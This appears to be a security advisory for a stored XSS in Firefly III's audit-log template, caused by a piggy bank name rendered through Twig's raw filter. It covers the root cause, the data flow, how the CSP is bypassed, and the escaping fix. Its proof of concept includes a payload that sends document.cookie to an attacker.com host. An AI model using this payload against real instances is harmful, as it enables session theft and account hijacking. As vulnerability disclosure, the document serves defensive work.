Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Overview

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

1. Authenticate as any user
2. POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
3. Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
4. Trigger the rule on any transaction
5. Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

• Stored XSS persists in DB — fires for every user who views the transaction
• Cookie theft → session hijacking
• In multi-user setups: one user attacks another user or admin
• Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected packages

• grumpydictator/firefly-iii <= 6.6.2

Remediation

Upgrade to a patched release:

• grumpydictator/firefly-iii 6.6.3